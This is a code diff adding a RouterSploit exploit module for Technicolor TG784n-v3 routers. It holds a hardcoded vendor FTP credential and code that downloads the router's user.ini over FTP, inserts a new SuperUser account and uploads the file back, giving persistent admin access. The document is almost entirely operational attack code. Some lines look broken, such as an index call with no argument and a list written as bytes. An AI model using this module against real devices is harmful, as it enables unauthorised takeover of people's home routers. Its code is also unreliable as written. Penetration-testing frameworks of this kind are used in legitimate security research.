Technicolor TG784 auth bypass

routersploit/modules/exploits/technicolor/tg784_authbypass.py

@@ -0,0 +1,180 @@
+import ftplib
+import os
+import re
+import socket
+import telnetlib
+import tempfile
+import time
+from hashlib import md5
+
+from routersploit import (
+    exploits,
+    print_status,
+    print_success,
+    print_error,
+    http_request,
+    mute,
+    validators
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for Technicolor TG784n-v3 auth bypass vulnerability.
+    If the target is vulnerable, it allows authentication bypass.
+    """
+    __info__ = {
+        'name': 'Technicolor TG784n-v3 Auth Bypass',
+        'description': 'Module exploits Technicolor TG784n-v3 authentication bypass vulnerability.',
+        'authors': [
+            '0BuRner',  # routersploit module
+        ],
+        'references': [
+            'http://modem-help.forum-phpbb.co.uk/t1-fixing-username-password-problems',
+            'http://modem-help.forum-phpbb.co.uk/t2-howto-root-tg784n',
+            'http://hacknload.com/post/123117858140/took-me-10-min-to-exploit-thompson-and-technicolor',
+        ],
+        'devices': [
+            'Technicolor TG784n-v3',
+            'Unknown number of Technicolor and Thompson routers',
+        ]
+    }
+
+    target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4)
+    ftp_port = exploits.Option(21, 'Target FTP Port')
+    telnet_port = exploits.Option(23, 'Target Telnet Port')
+    http_port = exploits.Option(80, 'Target HTTP Port')
+    realm = exploits.Option('Technicolor Gateway', 'Target HTTP digest access authentication REALM value')
+    remote_user = exploits.Option('upgrade', 'Default FTP username')
+    remote_pass = exploits.Option('Th0ms0n!', 'Default FTP password for "upgrade" user')
+    config_path = exploits.Option('user.ini', 'Path to config file')
+    new_user = exploits.Option('routersploit', 'New user account to add')
+    new_pass = exploits.Option('routersploit', 'Password for new user account')
+
+    def run(self):
+        if self.check():
+            print_status("Target seems to be vulnerable. Trying to exploit it.")
+            self.ftp_config_extract()
+
+            print_success("New user created: {}:{} (login:password)".format(self.new_user, self.new_pass))
+        else:
+            print_error("Exploit failed - target seems to be not vulnerable")
+
+    def ftp_config_extract(self):
+        # Connect to the ftp server and grab config file
+        ftp = ftplib.FTP()
+        time.sleep(1)  # Avoid weird initialization bug
+        try:
+            ftp.connect(self.target, port=int(self.ftp_port), timeout=10)
+            ftp.login(self.remote_user, self.remote_pass)
+
+            print_status("Connected to FTP server at {}:{}".format(self.target, self.ftp_port))
+
+            if self.config_path in ftp.nlst():
+                data = []
+                # Download remote file
+                ftp.retrbinary("RETR {}".format(self.config_path), callback=data.append)
+                # Create backup file
+                tmp_dir = os.path.join(tempfile.gettempdir(), '.{}'.format(hash(os.times())))
+                os.makedirs(tmp_dir)
+                self.config_create_backup(tmp_dir, data)
+                # Update file data by inserting new user
+                self.config_file_update(data)
+                # Upload updated file data
+                with open(os.path.join(tmp_dir, self.config_path), 'wb') as f:
+                    f.write(data)
+                    f.seek(0)
+                    ftp.storbinary("STOR {}".format(self.config_path), f)
+                    print_status("")
+
+                # Check if new user created
+                if not self.exploit_succeeded():
+                    # TODO Restore backup file if exploit failed
+                    pass
+            else:
+                print_error("File {} not found on the remote FTP server".format(self.config_path))
+                return None
+        except ftplib.all_errors:
+            print_error("FTP connection error")
+            return False
+        finally:
+            ftp.close()
+
+    def config_create_backup(self, tmp_dir, data):
+        bak_path = os.path.join(tmp_dir, "{}.bak".format(self.config_path))
+
+        with open(bak_path, 'wb') as backup:
+            backup.write(data)
+            print_status("Backup of {} configuration file created at: {}".format(self.config_path, bak_path))
+
+    def config_file_update(self, data):
+        section = '[ mlpuser.ini ]'
+
+        idx = None
+        for line in data.split('\r\n'):
+            if section in line:
+                idx = data.index()
+                break
+        if idx is not None:
+            user_data = self.config_create_user_line(self.new_user, self.new_pass)
+            data.insert(idx + 1, user_data)
+            print_status("New user injected in config file: {}", user_data)
+        else:
+            print_error("Section {} not found in {}".format(section, self.config_path))
+
+    def config_create_user_line(self, name, password, role='SuperUser', version=1):
+        if version == 2:
+            raise NotImplementedError
+        else:
+            cyp = '_CYP_' + md5(password).hexdigest()
+
+        extracted_realm = self.extract_realm()
+        realm = extracted_realm if extracted_realm is not None else self.realm
+        hash2 = md5('{}:{}:{}'.format(name, realm, password)).hexdigest()
+
+        return "add name={} password={} role={} hash2={} defuser=enabled".format(name, cyp, role, hash2)
+
+    def extract_realm(self):
+        url = "{}:{}".format(self.target, self.http_port)
+
+        response = http_request(method="GET", url=url)
+        if response is not None and response.status_code == 200:
+            regex = 'realm = "([a-zA-Z0-9 ]+)";'
+            groups = re.findall(regex, response.text)
+            if len(groups) > 0:
+                realm = groups[0]
+                print_status("Found realm: {}".format(realm))
+                return realm
+
+        return None
+
+    @mute
+    def check(self):
+        try:
+            # Connect to telnet server to check that 'upgrade' account exists
+            tn = telnetlib.Telnet(self.target, self.telnet_port, timeout=2)
+            tn.read_until(': ')
+            tn.write(self.remote_user + '\r\n')
+            tn.read_until(': ')
+            tn.write(self.remote_pass + '\r\n')
+
+            if 'Login not allowed' in tn.read_until('Login not allowed', 2):
+                # Check HTTP and FTP ports are opened (supposing services are running)
+                return self.is_port_opened(self.ftp_port) and self.is_port_opened(self.http_port)
+            else:
+                return False  # target is not vulnerable
+        except:
+            return False  # target is not vulnerable
+
+    def is_port_opened(self, port):
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.settimeout(3)
+            s.connect((self.target, port))
+            print_status("Connection on {}:{} successful".format(self.target, port))
+            return True
+        except:
+            print_error("Connection error: {}:{}".format(self.target, port))
+            return False
+        finally:
+            s.close()